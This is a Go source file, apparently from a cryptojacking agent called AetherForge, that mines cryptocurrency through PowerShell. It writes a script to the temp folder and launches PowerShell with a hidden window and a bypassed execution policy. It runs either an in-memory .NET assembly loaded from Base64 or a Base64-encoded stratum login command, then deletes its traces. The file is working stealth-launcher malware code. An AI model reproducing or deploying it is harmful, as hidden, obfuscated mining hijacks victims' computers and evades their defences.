package miner import ( "encoding/base64" "fmt" "log" "os" "os/exec" "path/filepath" "runtime" "strings" "sync" "crypto-miner-agent/config" ) // powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath. var powershellBin = "powershell" // powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand. var powershellExecCommand = exec.Command // embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64). // Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path). var embeddedMiningAssemblyB64 = "" // SetPowerShellBinPath overrides the PowerShell binary (restore with ""). func SetPowerShellBinPath(path string) { if strings.TrimSpace(path) == "" { powershellBin = "powershell" return } powershellBin = path } // SetPowerShellExecCommand restores default when fn is nil. func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) { if fn == nil { powershellExecCommand = exec.Command return } powershellExecCommand = fn } // SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests. func SetEmbeddedMiningAssemblyB64(b64 string) { embeddedMiningAssemblyB64 = b64 } // PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command. type PowerShellLauncher struct { cfg config.RuntimeConfig scriptPath string gpuDllPath string mu sync.Mutex running bool cmd *exec.Cmd } // NewPowerShellLauncher validates platform and pool config. func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) { if runtime.GOOS != "windows" { return nil, fmt.Errorf("powershell tier requires Windows") } if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 { return nil, fmt.Errorf("pool host/port required for powershell stratum tier") } if strings.TrimSpace(cfg.Wallet) == "" { return nil, fmt.Errorf("wallet required for powershell stratum tier") } if _, err := exec.LookPath(powershellBin); err != nil { return nil, fmt.Errorf("powershell not in PATH: %w", err) } return &PowerShellLauncher{cfg: cfg}, nil } // Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe. func (l *PowerShellLauncher) Start() error { l.mu.Lock() defer l.mu.Unlock() if l.running { return nil } script, err := l.writeEphemeralScript() if err != nil { return err } l.scriptPath = script args := []string{ "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-File", script, } cmd := powershellExecCommand(powershellBin, args...) cmd.Stdout = nil cmd.Stderr = nil if err := cmd.Start(); err != nil { _ = os.Remove(script) l.scriptPath = "" return fmt.Errorf("powershell start failed: %w", err) } l.cmd = cmd l.running = true log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d", powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort) go l.waitExit() return nil } func (l *PowerShellLauncher) waitExit() { if l.cmd == nil { return } err := l.cmd.Wait() l.mu.Lock() l.running = false l.cmd = nil script := l.scriptPath gpu := l.gpuDllPath l.scriptPath = "" l.gpuDllPath = "" l.mu.Unlock() if script != "" { _ = os.Remove(script) } if gpu != "" { _ = os.Remove(gpu) } if err != nil { log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err) } else { log.Printf("[powershell-tier] powershell.exe stopped") } } // Stop kills the powershell parent and removes ephemeral artifacts. func (l *PowerShellLauncher) Stop() { l.mu.Lock() cmd := l.cmd running := l.running script := l.scriptPath gpu := l.gpuDllPath l.mu.Unlock() if !running { return } if cmd != nil && cmd.Process != nil { _ = cmd.Process.Kill() } if script != "" { _ = os.Remove(script) } if gpu != "" { _ = os.Remove(gpu) } l.mu.Lock() l.running = false l.cmd = nil l.scriptPath = "" l.gpuDllPath = "" l.mu.Unlock() } // Running reports whether powershell.exe is supervising the tier. func (l *PowerShellLauncher) Running() bool { l.mu.Lock() defer l.mu.Unlock() return l.running } // ScriptPath returns the ephemeral PS1 path (tests only). func (l *PowerShellLauncher) ScriptPath() string { l.mu.Lock() defer l.mu.Unlock() return l.scriptPath } func (l *PowerShellLauncher) writeEphemeralScript() (string, error) { dir := os.TempDir() name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID)) if name == "af-miner-.ps1" { name = "af-miner-worker.ps1" } path := filepath.Join(dir, name) if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" { gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID))) if gpuPath == filepath.Join(dir, "af-gpu-.dll") { gpuPath = filepath.Join(dir, "af-gpu-worker.dll") } // Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production. if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil { l.gpuDllPath = gpuPath } } body, err := l.buildScriptBody() if err != nil { return "", err } if err := os.WriteFile(path, []byte(body), 0o600); err != nil { return "", fmt.Errorf("write script: %w", err) } return path, nil } func (l *PowerShellLauncher) buildScriptBody() (string, error) { pass := strings.TrimSpace(l.cfg.PoolPass) if pass == "" { pass = "x" } wallet := strings.TrimSpace(l.cfg.Wallet) worker := strings.TrimSpace(l.cfg.WorkerName) if worker == "" { worker = "worker" } if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" { if _, err := base64.StdEncoding.DecodeString(b64); err != nil { return "", fmt.Errorf("invalid embedded assembly base64: %w", err) } tlsLit := "$false" if l.cfg.PoolTLS { tlsLit = "$true" } return fmt.Sprintf(`$ErrorActionPreference = 'Stop' $bytes = [Convert]::FromBase64String('%s') $asm = [Reflection.Assembly]::Load($bytes) $entry = $asm.GetType('AetherForge.Miner.Entry') $null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s)) `, b64, escapePSSingleQuoted(l.cfg.PoolHost), l.cfg.PoolPort, escapePSSingleQuoted(pass), escapePSSingleQuoted(wallet), escapePSSingleQuoted(worker), tlsLit, ), nil } // Encoded-command path: inline .NET stratum stub (no external CPU .exe). encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker) gpuBlock := "" if l.gpuDllPath != "" { gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath)) } return fmt.Sprintf(`$ErrorActionPreference = 'Stop' # AetherForge PowerShell tier — wallet=%s pool=%s:%d %s $cmd = '%s' powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd `, wallet, l.cfg.PoolHost, l.cfg.PoolPort, gpuBlock, encoded, ), nil } func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string { tlsLit := "$false" if cfg.PoolTLS { tlsLit = "$true" } inner := fmt.Sprintf(` $poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s' $tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port) $stream = $tcp.GetStream() if ($tls) { $ssl = New-Object Net.Security.SslStream($stream, $false, { $true }) $ssl.AuthenticateAsClient($poolHost); $stream = $ssl } $w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true $r = New-Object IO.StreamReader($stream) $login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress) $w.WriteLine($login); $null = $r.ReadLine() while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 } `, escapePSSingleQuoted(cfg.PoolHost), cfg.PoolPort, tlsLit, escapePSSingleQuoted(wallet), escapePSSingleQuoted(worker), escapePSSingleQuoted(pass), ) // UTF-16LE base64 for -EncodedCommand utf16 := utf16LE(inner) return base64.StdEncoding.EncodeToString(utf16) } func escapePSSingleQuoted(s string) string { return strings.ReplaceAll(s, "'", "''") } func utf16LE(s string) []byte { runes := []rune(s) out := make([]byte, 0, len(runes)*2) for _, r := range runes { out = append(out, byte(r), byte(r>>8)) } return out }